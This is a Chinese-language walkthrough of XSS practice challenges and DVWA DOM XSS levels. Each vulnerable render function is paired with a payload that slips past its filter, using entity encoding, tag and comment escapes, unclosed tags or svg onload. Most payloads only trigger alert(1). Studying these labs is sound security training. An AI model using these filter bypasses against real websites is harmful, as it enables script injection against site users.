XSS靶场

靶场地址

1. <script>alert(1)</script>
2. </textarea><scRipt>alert(1)</scrIpt>
3. "><script>alert(1)</script>

function render (input) {
  return '<input type="name" value="' + input + '">'
}

4. <script>alert`1`</script>

function render (input) {
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
  过滤括号
}

5.<img src=x onerror="alert &#40 1 &#41" />

屏蔽括号和反引号，利用HTML属性能够识别ASCII码进行绕过，码后面的;可加可不加

6.--!><img src=x onerror="alert &#40 1 &#41" />

7.

type="image" src=x onerror
="alert(1)"

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}逃逸

8.<img src=x onerror="alert(1)"

function render (input) {
  const stripTagsRe = /<\/?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}语法松散，少输一个>也能识别

9.

</style
><img src=x onerror="alert(1)" >

function render (src) {
  src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

10

http://www.segmentfault.com"></script><script>alert(1)</script>

或者
https://www.segmentfault.com" onload=alert(1)>

function render (input) {
  let domainRe = /^https?:\/\/www\.segmentfault\.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

b.</h1><img src=x onerror="&#97;&#108;&#101;&#114&#116 &#40 &#49 &#41">

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}全部转大写，html不在意大小写，js严格区分

c.<svg/onload="&#97;&#108;&#101;&#114&#116 &#40 &#49 &#41"

移除script,转大写，用svg
function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

d.

alert`1`;
-->

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}逃逸，利用半个注释号

E.利用古英语ſ来代替s

DVWA xss dom

easy :?default=English"'><script>alert(1)</script>

mid:可以看到他把<script>给过滤掉了
English"'></option></select><img src=x onerror=alert(1)>

high:采用了白名单，查了下，使用注释绕过English#</option></select><img src="" οnerrοr=alert(/xss/)></option>